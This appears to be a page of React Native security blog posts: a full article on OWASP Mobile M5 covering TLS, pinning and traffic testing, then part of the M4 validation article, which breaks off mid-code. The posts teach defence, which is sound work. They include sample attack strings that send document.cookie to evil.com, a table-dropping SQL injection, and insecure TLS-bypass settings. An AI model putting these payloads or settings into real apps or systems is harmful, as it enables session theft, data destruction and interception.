M5 is the most misleading item on the list, because most teams read it and move on: "We use HTTPS, this doesn't apply to us."

OWASP's definition is far broader. This risk covers all aspects of getting data from point A to point B, but doing it insecurely. It encompasses mobile-to-mobile communications, app-to-server communications, or mobile-to-something-else communications. It includes all communications technologies that a mobile device might use: TCP/IP, WiFi, Bluetooth/Bluetooth-LE, NFC, audio, infrared, GSM, 3G, SMS, etc.

So M5 isn't just "do you use HTTPS." It's all of this:

Whether you set up TLS correctly (certificate checking, cipher selection)
Whether your traffic is consistent (some endpoints HTTPS, others not)
What your third-party SDKs are doing
What your WebView is loading
What you send over alternate channels like push notifications and SMS

💡 Key point: Just because an app uses transport security protocols doesn't mean it's implemented correctly. HTTPS is not a checkbox; it's a system that must be configured properly.

A specific situation for React Native developers

In React Native the network layer lives in three separate places, and most developers only think about the first:

The JavaScript side — fetch, axios, XMLHttpRequest
Platform configuration — ATS on iOS, Network Security Config on Android
Native modules and SDKs — analytics, ads, crash reporting, payment SDKs

Whatever you do on the JavaScript side, if platform configuration is loose or a third-party SDK uses plaintext HTTP, your app is exposed.

OWASP Assessment

Metric	Value	Meaning
Exploitability	EASY	A proxy and the same network is enough
Prevalence	COMMON	Very frequently found in applications
Detectability	AVERAGE	Basic flaws are easy, subtle ones are not
Technical Impact	SEVERE	Account takeover, impersonation
Business Impact	MODERATE	Privacy violation, reputational damage

⚠️ Compare with M4: M4's exploitability was DIFFICULT; M5's is EASY. Exploiting this doesn't require Frida, reverse engineering, or a custom exploit. Being on the same café Wi-Fi as the victim and setting up a proxy is enough.

To identify basic flaws, you can observe the network traffic on the phone. However, detecting more subtle flaws requires a closer look at the application's design and configuration.

The Scope of M5: What's In, What's Out

This distinction matters because teams often look at the wrong item.

✅ In scope

TLS setup and validation failures
Weak cipher suites
Accepting invalid certificates
Plaintext (HTTP) traffic
Bluetooth, NFC, WiFi Direct security
Sensitive data over SMS/MMS
Sensitive data in push notification payloads
Mixed SSL sessions

❌ Out of scope

Data stored on the device → M9: Insecure Data Storage
Weak/predictable session ID, when the channel is secure → M3: Insecure Authentication
Weak encryption algorithm outside of transport → M10: Insufficient Cryptography

If the data is being stored locally in the device itself, that's Insecure Data. If the session details are communicated securely (e.g., via a strong TLS connection) but the session identifier itself is bad (perhaps it is predictable, low entropy, etc.), then that's an Insecure Authentication problem, not a communication problem.

Three core risks

The usual risks of insecure communication are around data integrity, data confidentiality, and origin integrity.

Risk	Question	Example violation
Confidentiality	Can someone else read it?	Plaintext HTTP, weak cipher
Integrity	Can it be changed in transit?	Response manipulation via MITM
Origin integrity	Is the other side really who it claims?	Certificate not validated

If the data can be changed while in transit, without the change being detectable (e.g., via a man-in-the-middle attack) then that is a good example of this risk. If confidential data can be exposed, learned, or derived by observing the communications as it happens (i.e., eavesdropping) or by recording the conversation as it happens and attacking it later (offline attack), that's also an insecure communication problem.

Threat Agents

Most modern mobile applications exchange data with one or more remote servers. When the data transmission takes place, it typically goes through the mobile device's carrier network and the internet; a threat agent listening on the wire can intercept and modify the data if it is transmitted in plaintext or using a deprecated encryption protocol.

📡 An adversary sharing your local network (compromised or monitored Wi-Fi)

Café, hotel, airport Wi-Fi
Rogue access point ("Free_Airport_WiFi")
MITM on the same network via ARP spoofing

📶 Rogue carrier or network devices (routers, cell towers, proxies, etc.)

IMSI catcher / fake base station
Compromised corporate proxy
Router performing DNS hijacking

🦠 Malware on the mobile device

An app with VPN permission logging all traffic
Social engineering a user into installing a CA cert

Motives vary: stealing sensitive information, conducting espionage, identity theft, and more.

Attack Vectors

While modern applications do rely on cryptographic protocols such as SSL/TLS, they can sometimes have flaws in their implementations.

1. Deprecated protocols and bad configuration

❌ SSLv2, SSLv3, TLS 1.0, TLS 1.1  → Deprecated
⚠️  TLS 1.2                        → Acceptable (with correct ciphers)
✅ TLS 1.3                         → Preferred

Weak cipher suites (RC4, 3DES, NULL cipher, EXPORT grade) are still enabled on many servers.

2. Accepting bad certificates

Accepting self-signed, revoked, expired, or wrong-host certificates. This usually happens when a "temporary workaround" added during development leaks into production.

3. Inconsistency

This is the sneakiest one. The app uses TLS only on select workflows — login over HTTPS but profile images over HTTP, or the main API over HTTPS but the analytics SDK over HTTP.

// This pattern is surprisingly common in real projects
const API_BASE = 'https://api.example.com';        // ✅
const CDN_BASE = 'http://cdn.example.com';         // ❌ Why?
const ANALYTICS = 'http://analytics.vendor.com';   // ❌ Third party

Mixed SSL sessions may expose the user's session ID.

The Communication Surface in React Native

In M4 we listed "trust boundaries." The M5 equivalent is every channel your app talks out on:

🌐 fetch / axios / XMLHttpRequest — the most visible, and usually the only one considered
🖼️ WebView traffic — a separate network stack; mixedContentMode is critical
📦 <Image source={{uri}} /> and video players — loaded natively, subject to ATS/NSC rules
🔌 WebSockets (ws:// vs wss://) — chat, live data; frequently overlooked
📊 Third-party SDKs — analytics, ads, crash reporting, payments. Not your code but your traffic (overlaps with M2)
🔄 OTA updates (CodePush, expo-updates) — a JS bundle is downloaded; is it signature-verified?
🔔 Push notification payloads — passes through third-party servers
📱 SMS / MMS — unencrypted, exposed on the carrier network
📡 Bluetooth / BLE / NFC — IoT integrations, payment terminals
🛠️ Metro dev server (development) — plaintext HTTP; must not leak into production

The rule: Each of these channels must be audited separately. Moving fetch to HTTPS closes exactly one item on the list.

OWASP Example Attack Scenarios

There are a few common scenarios that penetration testers frequently discover when inspecting a mobile app's communication security.

Scenario #1 — Lack of certificate inspection

The mobile app and an endpoint successfully connect and perform a TLS handshake to establish a secure channel. However, the mobile app fails to inspect the certificate offered by the server and the mobile app unconditionally accepts any certificate offered to it by the server. This destroys any mutual authentication capability between the mobile app and the endpoint. The mobile app is susceptible to man-in-the-middle attacks through a TLS proxy.

Scenario #2 — Weak handshake negotiation

The mobile app and an endpoint successfully connect and negotiate a cipher suite as part of the connection handshake. The client successfully negotiates with the server to use a weak cipher suite that results in weak encryption that can be easily decrypted by the adversary. This jeopardizes the confidentiality of the channel between the mobile app and the endpoint.

Scenario #3 — Privacy information leakage

The mobile app transmits personally identifiable information to an endpoint via non-secure channels instead of over SSL/TLS. This jeopardizes the confidentiality of any privacy-related data between the mobile app and the endpoint.

Scenario #4 — Credential information leakage

The mobile app transmits user credentials to an endpoint via non-secure channels instead of over SSL/TLS. This allows an adversary to intercept those credentials in cleartext.

Scenario #5 — Two-factor authentication bypass

The mobile app receives a session identifier from an endpoint via non-secure channels instead of over SSL/TLS. This allows an adversary to bypass two-factor authentication by using the intercepted session identifier.

💡 Note scenario #5: The entire authentication architecture you built in M3 collapses the moment a session ID travels over a plaintext channel. The layers are connected.

Technical and Business Impacts

Technical Impacts — SEVERE

This flaw can expose user data which might lead to account takeover, user impersonation, PII data leaks and more; for instance an attacker might intercept user credentials, session, 2FA tokens which can open the door for more elaborate attacks.

🔴 Account takeover
🔴 User impersonation
🔴 PII data leakage
🔴 Credential interception
🔴 Session token interception
🔴 2FA token interception → door to more elaborate attacks

Business Impacts — MODERATE

At a minimum, interception of sensitive data through a communication channel will result in a privacy violation.

Category	Description
Identity theft	Acting as the user with intercepted PII
Fraud	Financial fraud with intercepted details
Reputational damage	Public fallout from a privacy violation
Legal consequences	GDPR/CCPA: failing to protect data in transit is a clear violation

ℹ️ Note: OWASP rates the business impact here as MODERATE — one notch below the SEVERE of M3 and M4. The reasoning is that a single MITM attack usually affects a single user: targeted leakage rather than a bulk breach. But at scale (hundreds of users on public Wi-Fi) that distinction disappears.

Prevention Strategies

OWASP's general best practices:

Assume the network layer is not secure and is susceptible to eavesdropping
Apply SSL/TLS to every transport channel the app uses to transmit data to a backend API or web service
Account for outside entities like third-party analytics companies and social networks; avoid mixed SSL sessions as they may expose the user's session ID
Use strong, industry standard cipher suites with appropriate key lengths
Use certificates signed by a trusted CA provider
NEVER allow bad certificates (self-signed, expired, untrusted root, revoked, wrong host...)
Consider certificate pinning
Always require SSL chain verification
Only establish a secure connection after verifying the identity of the endpoint server using trusted certificates in the key chain
Alert users through the UI if the app detects an invalid certificate
Do not send sensitive data over alternate channels (SMS, MMS, or notifications)
If possible, apply a separate layer of encryption to any sensitive data before it is given to the SSL channel — a secondary defense if SSL vulnerabilities are discovered
During development, avoid overriding SSL verification methods to allow untrusted certificates; use self-signed certificates or a local development CA instead
During security assessments, analyze application traffic to see if any goes through plaintext channels

Platform-specific notes

iOS: Default classes in the latest version of iOS handle SSL cipher strength negotiation very well. Trouble comes when developers temporarily add code to bypass these defaults to accommodate development hurdles.

Android: Remove all code after the development cycle that may allow the application to accept all certificates such as AllowAllHostnameVerifier or SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER. These are equivalent to trusting all certificates. Avoid overriding onReceivedSslError to allow invalid SSL certificates.

In React Native, these two warnings translate to the ATS and Network Security Config settings we'll cover next.

React Native Specific Security

1. Disable plaintext traffic at the platform level

This is the first and most important step against M5. It protects at the OS level regardless of what you write in JavaScript.

iOS — App Transport Security (ATS)

When you create a React Native project, Info.plist usually ships with a localhost exception. Check what state it's in for your production build.

<!-- ios/YourApp/Info.plist -->
<!-- ❌ DANGEROUS — allows all HTTP traffic -->
<key>NSAppTransportSecurity</key>
<dict>
  <key>NSAllowsArbitraryLoads</key>
  <true/>
</dict>

<!-- ✅ SECURE — exception only for the Metro dev server -->
<key>NSAppTransportSecurity</key>
<dict>
  <key>NSAllowsArbitraryLoads</key>
  <false/>
  <key>NSExceptionDomains</key>
  <dict>
    <key>localhost</key>
    <dict>
      <key>NSExceptionAllowsInsecureHTTPLoads</key>
      <true/>
    </dict>
  </dict>
</dict>

⚠️ A release build shouldn't even contain the localhost exception. It's only needed during development to reach the Metro bundler. Use separate Info.plist files for Debug and Release in Xcode, or strip it with a build script.

If NSAllowsArbitraryLoads is enabled, App Store review will ask you to justify it — which is already a warning sign.

Android — Network Security Config

<!-- android/app/src/main/res/xml/network_security_config.xml -->
<?xml version="1.0" encoding="utf-8"?>
<network-security-config>
  <!-- Default: no plaintext anywhere -->
  <base-config cleartextTrafficPermitted="false">
    <trust-anchors>
      <!-- System CAs only — don't trust user-installed CAs -->
      <certificates src="system" />
    </trust-anchors>
  </base-config>

  <!-- Exception for Metro, debug builds only -->
  <debug-overrides>
    <trust-anchors>
      <certificates src="system" />
      <certificates src="user" />
    </trust-anchors>
  </debug-overrides>
</network-security-config>

<!-- android/app/src/main/AndroidManifest.xml -->
<application
  android:networkSecurityConfig="@xml/network_security_config"
  android:usesCleartextTraffic="false"
  ...>

It's critical that <certificates src="user" /> appears only inside <debug-overrides>. If that line sits in base-config, the app trusts any CA the user installed on their device — that is, any proxy — which opens the door to MITM.

Expo projects

In Expo these settings are managed through app.json / app.config.js:

// app.config.js
export default {
  expo: {
    ios: {
      infoPlist: {
        NSAppTransportSecurity: {
          NSAllowsArbitraryLoads: false,
        },
      },
    },
    android: {
      usesCleartextTraffic: false,
    },
  },
};

2. Certificate / Public Key Pinning

Platform configuration says "there must be a valid certificate." Pinning says "it must be this certificate." The difference is whether a proxy CA installed on the user's device (Burp, Charles, a corporate MITM box) can read your traffic.

Which library?

Library	Approach	Note
`react-native-ssl-public-key-pinning`	Public key hash pinning	Covers standard networking APIs automatically
`@bam.tech/react-native-ssl-pinning`	Expo module + plugin	Installed via Expo config plugin
`react-native-ssl-pinning`	Provides its own `fetch`	Only that fetch is protected

The most important difference: some libraries give you their own fetch, others cover the whole network layer. With the former, code using axios or <Image> is not protected.

All network requests done through the standard Networking APIs will have the certificate pinning configuration automatically enabled after initialization.

Public key pinning implementation

// services/sslPinning.js
import { initializeSslPinning } from 'react-native-ssl-public-key-pinning';

export async function setupSslPinning() {
  // You may want pinning off in development —
  // but gate it ONLY behind __DEV__
  if (__DEV__) {
    console.log('SSL pinning disabled (dev build)');
    return;
  }

  await initializeSslPinning({
    'api.mycompany.com': {
      includeSubdomains: true,
      publicKeyHashes: [
        // Public key hash of the current certificate
        'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=',
        // ✅ BACKUP PIN — mandatory for rotation
        'BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB=',
      ],
    },
  });
}

// Call in App.tsx BEFORE any network request happens
useEffect(() => {
  setupSslPinning();
}, []);

The most common pinning mistakes

Mistake 1: A single pin. When your certificate is renewed, the app breaks completely and users get no service until they update. At least one backup pin is mandatory.

Mistake 2: Pinning the leaf certificate. The leaf changes most often (every 90 days with Let's Encrypt). Pinning the intermediate CA's public key is far more stable.

Mistake 3: No rotation plan. Add the new pin to the app and ship it before renewing the certificate; change the server certificate only after users have updated. Reverse that order and the app breaks.

Mistake 4: Embedding certificates in JS. The hashes aren't secret anyway (they're derived from public keys), but having the pinning logic on the JS side makes it easier to bypass with Frida. Prefer libraries that operate at the native layer.

Mistake 5: Disabling in debug and never testing production. If you wrote if (__DEV__) return;, you have not tested pinning in a release build. Always produce a release build and try it against a proxy.

The limits of pinning

Pinning makes MITM harder but doesn't solve it. A determined attacker on a rooted/jailbroken device can bypass the pinning check with Frida. Position pinning as "a layer against casual MITM and corporate proxies," not as an unbreakable shield.

3. Consistency: audit every channel

This is the most commonly missed area. You moved the main API to HTTPS — what about the rest?

// utils/urlAudit.js
// A simple guard that catches plaintext URLs during development

const isHttp = (url) => typeof url === 'string' && url.startsWith('http://');

export function assertSecureUrl(url, context = 'request') {
  if (isHttp(url)) {
    const message = `Insecure URL (${context}): ${url}`;
    if (__DEV__) {
      throw new Error(message);  // Fail loudly in dev
    }
    console.error(message);      // Log in prod
    return false;
  }
  return true;
}

// Central check via an Axios interceptor
apiClient.interceptors.request.use((config) => {
  const fullUrl = `${config.baseURL ?? ''}${config.url ?? ''}`;
  assertSecureUrl(fullUrl, 'axios');
  return config;
});

WebView traffic

<WebView
  source={{ uri: url }}
  // ✅ No mixed content — an HTTPS page can't load HTTP resources
  mixedContentMode="never"
  // ✅ Remember from M4: origin allowlist
  originWhitelist={['https://app.mycompany.com']}
  onShouldStartLoadWithRequest={handleShouldStartLoad}
/>

mixedContentMode defaults to never on Android, but writing it explicitly documents the intent against someone flipping it to always later.

Images and media

// ❌ HTTP image — passes if ATS/NSC is off, leaks the user's profile photo
<Image source={{ uri: 'http://cdn.example.com/avatar.png' }} />

// ✅ The schema validation from M4 helps here too
const AvatarSchema = z.string().url().startsWith('https://');

In M4 we wrote avatarUrl: z.string().url().startsWith('https://'). That validation was actually an M5 control — the layers reinforce each other.

WebSockets

// ❌ Unencrypted WebSocket
const ws = new WebSocket('ws://chat.example.com');

// ✅ Over TLS
const ws = new WebSocket('wss://chat.example.com');

ws:// is easy to miss because neither ATS nor Network Security Config always blocks it — and the data carried in chat apps is highly sensitive.

4. Keep sensitive data off alternate channels

OWASP is explicit: do not send sensitive data over SMS, MMS, or notifications.

// ❌ Sensitive data in a push notification payload
{
  title: 'Payment Confirmation',
  body: 'Transfer of $5,000 to account ending 8413',
  data: {
    accountNumber: '1234567890',
    otpCode: '482915',          // ❌ NEVER
  }
}

// ✅ Send a reference only; fetch the data in-app over a secure channel
{
  title: 'Payment Confirmation',
  body: 'You have a new transaction',
  data: {
    type: 'PAYMENT',
    transactionId: 'TXN-8829301',   // Just an ID
  }
}

Push notification payloads pass through Apple's (APNs) and Google's (FCM) servers and appear on the device lock screen. Those two facts are reason enough to keep sensitive data out of them.

5. An extra encryption layer for sensitive data

OWASP's 12th recommendation: where possible, apply a separate layer of encryption to sensitive data before handing it to the SSL channel. That way, if a vulnerability is discovered in SSL later, you have a secondary defense.

This isn't necessary for every app — but it's worth considering in flows carrying payments, health data, or identity documents.

// Example: encrypt a sensitive payload before sending
import { encryptPayload } from './crypto';

async function submitSensitiveData(data) {
  // TLS is already there; this is a second layer
  const encrypted = await encryptPayload(data, serverPublicKey);

  return apiClient.post('/sensitive-endpoint', {
    payload: encrypted,
    // Metadata can stay plain
    version: 2,
  });
}

A caution: don't invent this layer yourself. Use a library, think through key management, or you'll land in M10 (Insufficient Cryptography).

6. Don't let development conveniences reach production

Most M5 violations come not from malice but from a convenience added during development and then forgotten.

// ❌ None of these lines should ship to production

// 1. Globally disabling certificate validation
process.env.NODE_TLS_REJECT_UNAUTHORIZED = '0';

// 2. Accepting self-signed certs for the QA server
const agent = new https.Agent({ rejectUnauthorized: false });

// 3. Logging sensitive data
console.log('Token:', accessToken);
console.log('API response:', JSON.stringify(response.data));

The third is especially insidious: console.log output is readable via adb logcat on Android and Console.app on iOS. Anyone with physical access to the device — and in some cases another app — can read those logs.

// babel.config.js — strip console calls in production builds
module.exports = {
  presets: ['module:@react-native/babel-preset'],
  env: {
    production: {
      plugins: [
        ['transform-remove-console', { exclude: ['error', 'warn'] }],
      ],
    },
  },
};

Network inspectors in debug tools like Flipper and Reactotron should also be off in production builds. If you are building an iOS Expo development build and want to test out your pinning configuration, you will need to disable expo-dev-client's network inspector as it interferes with the pinning setup. The network inspector is automatically disabled on production builds.

7. Third-party SDK traffic

In M2 we discussed supply chain security. From an M5 perspective the question is: where and how do these SDKs talk?

# Audit the network behaviour of your dependencies
# 1. Run the app through a proxy, list every host it contacts
# 2. Investigate every host you didn't expect

Checklist:

Does the SDK use HTTPS, or does it fall back to HTTP "for performance"?
Does the SDK do its own certificate validation, or use the system stack?
Does the telemetry it sends contain sensitive data?
Do the SDK's hosts require an ATS/NSC exception? (If so, that's a warning sign.)

Testing Strategies

The good news about M5: it's easier to test than the other items. Set up a proxy and look at the traffic.

Traffic inspection with a proxy

# 1. Install mitmproxy
pip install mitmproxy
mitmproxy --listen-port 8080

# 2. Point the device at the proxy (Wi-Fi settings)
# 3. Install the mitmproxy CA certificate on the device
# 4. Run the app and watch the traffic

Expected results:

Scenario	Without pinning	With pinning
Proxy CA not installed	Connection fails	Connection fails
Proxy CA installed	⚠️ Traffic visible	✅ Connection refused

The second row is the critical one: if you can read traffic while the proxy CA is installed, pinning isn't working.

Scanning for plaintext traffic

# Any HTTP in the app's traffic?
mitmdump -s flow_filter.py

# flow_filter.py — report plaintext requests
def request(flow):
    if flow.request.scheme == "http":
        print(f"⚠️  PLAINTEXT: {flow.request.pretty_url}")

Server-side TLS configuration

# Comprehensive TLS audit with testssl.sh
docker run --rm -ti drwetter/testssl.sh https://api.mycompany.com

# What to check:
# - Are TLS 1.0/1.1 disabled?
# - Are weak ciphers (RC4, 3DES, NULL) disabled?
# - Is the certificate chain complete?
# - Is the HSTS header present?

For a publicly reachable endpoint, SSL Labs is an easier alternative — and it's also where you can grab the public key hashes needed for pinning.

Automated tests

// __tests__/network.security.test.js

describe('URL security audit', () => {
  it('should have no HTTP URLs in configuration', () => {
    const config = require('../src/config/endpoints');
    const urls = Object.values(config).filter(v => typeof v === 'string');

    urls.forEach(url => {
      expect(url).not.toMatch(/^http:\/\//);
    });
  });

  it('WebSocket URL should be wss://', () => {
    const { WS_URL } = require('../src/config/endpoints');
    expect(WS_URL).toMatch(/^wss:\/\//);
  });
});

# Search the source for plaintext URLs in CI
grep -rn "http://" src/ --include="*.ts" --include="*.tsx" \
  | grep -v "localhost" \
  | grep -v "127.0.0.1" \
  && echo "❌ Plaintext URL found" && exit 1

Manual test scenarios

Test	Method	Expected
Certificate validation	Connect to a server with an invalid cert	Connection refused
Pinning	Run the app on a device with the proxy CA installed	Connection refused
Plaintext	Scan all traffic in the proxy	No HTTP requests
Mixed content	Open a page with HTTP resources in the WebView	Resource not loaded
Release build	Check ATS/NSC settings in the release APK/IPA	`NSAllowsArbitraryLoads=false`
Log leakage	Search for tokens with `adb logcat`	No tokens visible

Tools and Resources

Traffic analysis

Tool	Use Case	Note
mitmproxy	CLI proxy, scriptable	Ideal for automated testing
Burp Suite	Comprehensive security testing	The standard for mobile testing
Charles Proxy	GUI proxy	Easy to use
Wireshark	Packet-level analysis	For layers below TLS

TLS configuration auditing

Tool	Use Case
testssl.sh	Server TLS configuration scanning
SSL Labs	Web-based, for public endpoints
Mozilla SSL Config Generator	Generating server configuration

React Native libraries

Library	Purpose
`react-native-ssl-public-key-pinning`	Public key pinning, covers the whole network layer
`@bam.tech/react-native-ssl-pinning`	Expo module + config plugin
`babel-plugin-transform-remove-console`	Strips logs in production

Useful resources

Resource	URL
OWASP M5	owasp.org/www-project-mobile-top-10
OWASP MASVS-NETWORK	mas.owasp.org
Transport Layer Security Cheat Sheet	cheatsheetseries.owasp.org
Android Network Security Config	developer.android.com/training/articles/security-config
Apple ATS documentation	developer.apple.com

Conclusion

M5 is too broad an item to close with the sentence "we use HTTPS." The real question isn't whether you use HTTPS, but whether you use it consistently across every channel and with the right configuration.

🎯 Security Roadmap

1. Beginner level

ATS: NSAllowsArbitraryLoads = false (no exceptions in release)
Android: usesCleartextTraffic = false + network_security_config
All endpoints HTTPS, WebSockets wss://
Strip console.log in production
No sensitive data in push/SMS payloads

2. Intermediate level

Certificate/public key pinning (with a backup pin)
WebView mixedContentMode="never"
Audit third-party SDK traffic
Scan for plaintext URLs in CI
Proxy-test the release build

3. Enterprise level

Pin rotation procedure and automation
Extra encryption layer for sensitive payloads
Server-side TLS hardening (TLS 1.3, HSTS)
Continuous traffic monitoring and anomaly detection
Penetration testing and bug bounty

Key Takeaways

Exploitability is EASY. Exploiting this needs no special skill — the same Wi-Fi and a proxy is enough. That's why it belongs high in your priority list.
Consistency is everything. One HTTP endpoint can devalue the ninety-nine you moved to HTTPS.
Platform configuration comes before JavaScript. ATS and Network Security Config are the last line of defense against mistakes in your code.
Pinning is a layer, not a solution. Effective against corporate proxies and casual MITM; a delay against a determined attacker.
Don't pin without a backup pin. Pinning without thinking through certificate rotation is the fastest way to lock yourself out.
Development conveniences are the biggest source of risk. rejectUnauthorized: false, NSAllowsArbitraryLoads, debug logs — all added in good faith and forgotten.
M5 is intertwined with the other items. An intercepted session token breaks M3; a WebView loading HTTP content overlaps with M4; SDK traffic connects to M2.

Next Steps

In our next article, we'll examine M6: Inadequate Privacy Controls. We'll cover the responsibilities of mobile apps in collecting, processing, storing, and sharing personal data, along with permission management, data minimization, and privacy-by-design principles.

References

This article is the fifth in the OWASP Mobile Top 10 2024 series. Previous articles covered M1: Improper Credential Usage, M2: Inadequate Supply Chain Security, M3: Insecure Authentication/Authorization, and M4: Insufficient Input/Output Validation. Follow along for the rest of the series!

Your React Native App Trusts Too Much: OWASP M4 in Practice

Barış Kandemir — Thu, 13 Aug 2026 20:47:42 +0000

There's a belief I run into constantly in React Native codebases: "React Native has no DOM, so XSS isn't our problem."

Half true. <Text> doesn't render HTML, so classic DOM-based XSS doesn't apply. But your app also:

Embeds WebViews (a real browser engine)
Accepts deep links (URLs from anyone)
Passes data over the native bridge
Queries a local SQLite database
Reads from the file system
Consumes API responses

Every one of those is a trust boundary. OWASP M4: Insufficient Input/Output Validation is what happens when you don't treat them as such.

This is part 4 of a series walking the OWASP Mobile Top 10 from a React Native angle. Part 3 covered [authentication and authorization]. Today: never trusting data.

What OWASP actually says about M4

Metric	Rating
Exploitability	DIFFICULT
Prevalence	COMMON
Detectability	EASY
Impact	SEVERE

Look at that combination for a second. Easy to detect, severe impact, common in the wild. That means attackers find these fast — and so would you, if you ran the test. Most teams never do.

Validation and encoding are not the same job

This trips people up constantly, so let's be precise:

Input validation asks "is this data shaped the way I expect?" → the answer is accept or reject.

Output encoding asks "is this data safe where I'm about to put it?" → the answer is transform.

// Username passes validation: letters and digits only
const isValid = /^[a-zA-Z0-9]+$/.test(username);  // ✅

// But the same value means different things downstream:
// SQL       → must be parameterized
// HTML      → must be encoded
// Shell     → must be escaped
// File path → must be normalized

Validation makes input acceptable. Encoding makes it safe in a specific context. You need both. One does not substitute for the other.

And the corollary: allowlist beats denylist, always.

// ❌ You will never finish this list
input.replace(/<script>/gi, '')   // <ScRiPt>? <scr<script>ipt>?
     .replace(/\.\.\//g, '');     // ....//? %2e%2e%2f?

// ✅ Finite, predictable, reviewable
function validateUsername(input) {
  if (typeof input !== 'string') return null;
  if (input.length < 3 || input.length > 20) return null;
  if (!/^[a-z0-9_]+$/.test(input)) return null;
  return input;
}

WebView is your biggest attack surface

If you take one thing from this post: WebView is not "just a component." It's a full browser engine running inside your app, and it brings the entire browser threat model with it.

The CVE that made this concrete

CVE-2020-6506 was a universal XSS in the Android WebView system component — cross-origin iframes could execute arbitrary JavaScript in the top-level document. It hit React Native apps using react-native-webview that allowed navigation to arbitrary URLs, on devices with Android WebView older than 83.0.4103.106.

Translation: user opens a harmless-looking page, an iframe on that page runs JS in the top-level context, and now it has access to whatever lives in that WebView — session state, the postMessage channel, everything. react-native-webview 11.0.0 added a mitigation prop.

There's an older one worth knowing too. Early WebView bridge implementations injected bridge messages into a string that got eval'd inside the WebView. Send ');alert('hello and you had arbitrary code execution — particularly nasty when the data came from an external API.

What insecure looks like

// ❌ Basically every dangerous prop at once
<WebView
  source={{ uri: url }}                    // unvalidated
  originWhitelist={['*']}                  // go anywhere
  allowFileAccess={true}                   // file:// access
  allowUniversalAccessFromFileURLs={true}  // very bad
  mixedContentMode="always"                // accepts HTTP
  injectedJavaScript={`
    document.body.innerHTML = '${userComment}';  // string injection
  `}
/>

What secure looks like

const ALLOWED_ORIGINS = [
  'https://app.mycompany.com',
  'https://payments.mycompany.com',
];

function isAllowedUrl(url) {
  try {
    const parsed = new URL(url);
    if (parsed.protocol !== 'https:') return false;
    return ALLOWED_ORIGINS.includes(parsed.origin);
  } catch {
    return false;  // unparseable = reject
  }
}

function SecureWebView({ url }) {
  const handleShouldStartLoad = useCallback((request) => {
    const allowed = isAllowedUrl(request.url);
    if (!allowed) console.warn('Blocked navigation:', request.url);
    return allowed;  // false cancels the navigation
  }, []);

  if (!isAllowedUrl(url)) return <ErrorScreen />;

  return (
    <WebView
      source={{ uri: url }}
      originWhitelist={ALLOWED_ORIGINS}
      onShouldStartLoadWithRequest={handleShouldStartLoad}
      onMessage={handleMessage}
      allowFileAccess={false}
      allowFileAccessFromFileURLs={false}
      allowUniversalAccessFromFileURLs={false}
      mixedContentMode="never"
      javaScriptCanOpenWindowsAutomatically={false}
      setSupportMultipleWindows={false}
      thirdPartyCookiesEnabled={false}
    />
  );
}

The `injectedJavaScript` trap

Whatever string you pass gets evaluated inside the WebView. Template literals are how you lose:

// ❌ user.name = "'); fetch('https://evil.com?c='+document.cookie); //"
const script = `setUser('${user.name}')`;

// ✅ JSON.stringify escapes quotes, backslashes, control chars
const script = `
  (function() {
    var payload = ${JSON.stringify({ name: user.name, id: user.id })};
    window.setUser(payload);
    true;
  })();
`;

Better yet, don't inject at all — use postMessage and validate on both ends.

Validate what comes back

onMessage is an inbound channel from a browser you don't fully control. Parse defensively:

import { z } from 'zod';

const WebViewMessageSchema = z.discriminatedUnion('type', [
  z.object({ type: z.literal('CLOSE') }),
  z.object({
    type: z.literal('PAYMENT_SUCCESS'),
    orderId: z.string().regex(/^ORD-[0-9]{10}$/),
  }),
  z.object({
    type: z.literal('HEIGHT_CHANGED'),
    height: z.number().positive().max(20000),  // cap it
  }),
]);

const handleMessage = useCallback((event) => {
  let payload;
  try {
    payload = JSON.parse(event.nativeEvent.data);
  } catch {
    return;  // not JSON, drop it
  }

  const result = WebViewMessageSchema.safeParse(payload);
  if (!result.success) return;

  switch (result.data.type) {
    case 'CLOSE': navigation.goBack(); break;
    case 'PAYMENT_SUCCESS': handleSuccess(result.data.orderId); break;
    default: break;  // unknown type, ignore
  }
}, []);

That .max(20000) on height isn't paranoia. A page that reports a height of 999999999 will happily blow up your layout.

Deep links are commands from strangers

Anyone can fire a deep link at your app. Treat the payload accordingly.

import { z } from 'zod';

const DeepLinkSchema = z.discriminatedUnion('screen', [
  z.object({ screen: z.literal('profile'), userId: z.string().uuid() }),
  z.object({ screen: z.literal('product'), productId: z.string().regex(/^[A-Z0-9]{8}$/) }),
  z.object({ screen: z.literal('order'), orderId: z.string().regex(/^ORD-[0-9]{10}$/) }),
]);

const APP_SCHEME = 'myapp';
const ALLOWED_HOSTS = ['app.mycompany.com'];

export function handleDeepLink(url, navigation) {
  let parsed;
  try {
    parsed = new URL(url);
  } catch {
    return false;
  }

  const isCustomScheme = parsed.protocol === `${APP_SCHEME}:`;
  const isUniversalLink =
    parsed.protocol === 'https:' && ALLOWED_HOSTS.includes(parsed.hostname);

  if (!isCustomScheme && !isUniversalLink) return false;

  const params = Object.fromEntries(parsed.searchParams.entries());
  const screen = parsed.pathname.replace(/^\//, '');

  const result = DeepLinkSchema.safeParse({ screen, ...params });
  if (!result.success) return false;

  const { screen: validScreen, ...validParams } = result.data;
  navigation.navigate(validScreen, validParams);
  return true;
}

The classic bug here is forwarding a URL parameter straight into Linking.openURL or a WebView:

// ❌ myapp://open?url=javascript:fetch('https://evil.com?c='+document.cookie)
Linking.openURL(params.url);

// ✅
const SAFE_SCHEMES = ['https:', 'mailto:', 'tel:'];

async function safeOpenURL(url) {
  let parsed;
  try { parsed = new URL(url); } catch { return false; }
  if (!SAFE_SCHEMES.includes(parsed.protocol)) return false;
  if (!(await Linking.canOpenURL(url))) return false;
  await Linking.openURL(url);
  return true;
}

javascript:, file:, intent:, and content: are all schemes you don't want to hand to the OS on a user's behalf.

SQL injection is alive and well on-device

"It's just local SQLite, who cares?" — a finance app once let users paste SQL into the search bar and lost months of user data overnight.

The Expo docs put it plainly: you must escape all user input passed to SQLite, and prepared statements are the effective defense because they separate query logic from input parameters, with SQLite escaping automatically.

// ❌
db.getAllAsync(`SELECT * FROM notes WHERE title LIKE '%${term}%'`);
// term = "'; DROP TABLE notes; --"

// ✅ parameterized
db.getAllAsync('SELECT * FROM notes WHERE title LIKE ?', [`%${term}%`]);
db.getFirstAsync('SELECT * FROM notes WHERE id = ?', [id]);
db.runAsync('UPDATE notes SET title = ? WHERE id = ?', [title, id]);

// ✅ named params
db.runAsync(
  'INSERT INTO notes (title, body) VALUES ($title, $body)',
